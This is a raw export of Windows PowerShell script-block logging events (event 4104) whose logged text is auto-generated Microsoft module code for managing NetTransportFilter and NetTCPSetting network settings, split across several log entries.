if ($PSBoundParameters.ContainsKey('LocalPortEnd') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalPortEnd})
$__cmdletization_queryBuilder.FilterByProperty('LocalPortEnd', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RemotePortStart') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RemotePortStart})
$__cmdletization_queryBuilder.FilterByProperty('RemotePortStart', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RemotePortEnd') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RemotePortEnd})
$__cmdletization_queryBuilder.FilterByProperty('RemotePortEnd', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DestinationPrefix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DestinationPrefix})
$__cmdletization_queryBuilder.FilterByProperty('DestinationPrefix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedTCPSetting') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedTCPSetting}, 'MSFT_NetTransportFilterTCPSetting', 'Dependent', 'Antecedent', 'Default')
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'InputObject (cdxml)') -contains $_ } {
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:DeleteInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetTransportFilter.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-NetTransportFilter' -Alias '*'
ScriptBlock ID: 11057e31-c7a0-4b0b-8026-731a3f226f47
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1821 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0000-c6ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetTransportFilter'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function New-NetTransportFilter
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
param(
[Parameter(ParameterSetName='cim:CreateInstance0', Mandatory=$true)]
[string]
${SettingName},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTransportFilter.Protocol]
${Protocol},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[uint16]
${LocalPortStart},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[uint16]
${LocalPortEnd},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[uint16]
${RemotePortStart},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[uint16]
${RemotePortEnd},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[string]
${DestinationPrefix},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='cim:CreateInstance0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SettingName')) {
[object]$__cmdletization_value = ${SettingName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SettingName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SettingName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Protocol')) {
[object]$__cmdletization_value = ${Protocol}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Protocol'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTransportFilter.Protocol'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Protocol'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTransportFilter.Protocol'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('LocalPortStart')) {
[object]$__cmdletization_value = ${LocalPortStart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LocalPortStart'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LocalPortStart'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('LocalPortEnd')) {
[object]$__cmdletization_value = ${LocalPortEnd}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LocalPortEnd'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LocalPortEnd'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RemotePortStart')) {
[object]$__cmdletization_value = ${RemotePortStart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RemotePortStart'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RemotePortStart'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RemotePortEnd')) {
[object]$__cmdletization_value = ${RemotePortEnd}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RemotePortEnd'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RemotePortEnd'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DestinationPrefix')) {
[object]$__cmdletization_value = ${DestinationPrefix}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DestinationPrefix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DestinationPrefix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:CreateInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetTransportFilter.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'New-NetTransportFilter' -Alias '*'
function Get-NetTransportFilter
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetTransportFilter')]
param(
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${SettingName},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTransportFilter.Protocol[]]
${Protocol},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${LocalPortStart},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${LocalPortEnd},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${RemotePortStart},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${RemotePortEnd},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${DestinationPrefix},
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetTCPSetting')]
[ValidateNotNull()]
[ciminstance]
${AssociatedTCPSetting},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('SettingName') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SettingName})
$__cmdletization_queryBuilder.FilterByProperty('SettingName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Protocol') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Protocol})
$__cmdletization_queryBuilder.FilterByProperty('Protocol', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('LocalPortStart') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalPortStart})
$__cmdletization_queryBuilder.FilterByProperty('LocalPortStart', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('LocalPortEnd') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalPortEnd})
$__cmdletization_queryBuilder.FilterByProperty('LocalPortEnd', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RemotePortStart') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RemotePortStart})
$__cmdletization_queryBuilder.FilterByProperty('RemotePortStart', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RemotePortEnd') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RemotePortEnd})
$__cmdletization_queryBuilder.FilterByProperty('RemotePortEnd', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DestinationPrefix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DestinationPrefix})
$__cmdletization_queryBuilder.FilterByProperty('DestinationPrefix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedTCPSetting') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedTCPSetting}, 'MSFT_NetTransportFilterTCPSetting', 'Dependent', 'Antecedent', 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetTransportFilter.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetTransportFilter' -Alias '*'
function Remove-NetTransportFilter
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetTransportFilter')]
param(
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${SettingName},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTransportFilter.Protocol[]]
${Protocol},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${LocalPortStart},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${LocalPortEnd},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${RemotePortStart},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${RemotePortEnd},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${DestinationPrefix},
[Parameter(ParameterSetName='
ScriptBlock ID: 11057e31-c7a0-4b0b-8026-731a3f226f47
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1820 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0000-c6ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
etization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EcnCapability')) {
[object]$__cmdletization_value = ${EcnCapability}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EcnCapability'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.EcnCapability'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EcnCapability'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.EcnCapability'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Timestamps')) {
[object]$__cmdletization_value = ${Timestamps}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Timestamps'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.Timestamps'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Timestamps'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.Timestamps'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InitialRtoMs')) {
[object]$__cmdletization_value = ${InitialRtoMs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InitialRto'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InitialRto'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ScalingHeuristics')) {
[object]$__cmdletization_value = ${ScalingHeuristics}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ScalingHeuristics'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ScalingHeuristics'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ScalingHeuristics'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ScalingHeuristics'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DynamicPortRangeStartPort')) {
[object]$__cmdletization_value = ${DynamicPortRangeStartPort}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeStartPort'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeStartPort'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DynamicPortRangeNumberOfPorts')) {
[object]$__cmdletization_value = ${DynamicPortRangeNumberOfPorts}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeNumberOfPorts'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeNumberOfPorts'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AutomaticUseCustom')) {
[object]$__cmdletization_value = ${AutomaticUseCustom}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutomaticUseCustom'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutomaticUseCustom'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutomaticUseCustom'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutomaticUseCustom'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NonSackRttResiliency')) {
[object]$__cmdletization_value = ${NonSackRttResiliency}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NonSackRttResiliency'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.NonSackRttResiliency'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NonSackRttResiliency'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.NonSackRttResiliency'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ForceWS')) {
[object]$__cmdletization_value = ${ForceWS}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ForceWS'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ForceWS'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ForceWS'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ForceWS'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxSynRetransmissions')) {
[object]$__cmdletization_value = ${MaxSynRetransmissions}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxSynRetransmissions'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxSynRetransmissions'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AutoReusePortRangeStartPort')) {
[object]$__cmdletization_value = ${AutoReusePortRangeStartPort}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutoReusePortRangeStartPort'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutoReusePortRangeStartPort'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AutoReusePortRangeNumberOfPorts')) {
[object]$__cmdletization_value = ${AutoReusePortRangeNumberOfPorts}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutoReusePortRangeNumberOfPorts'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
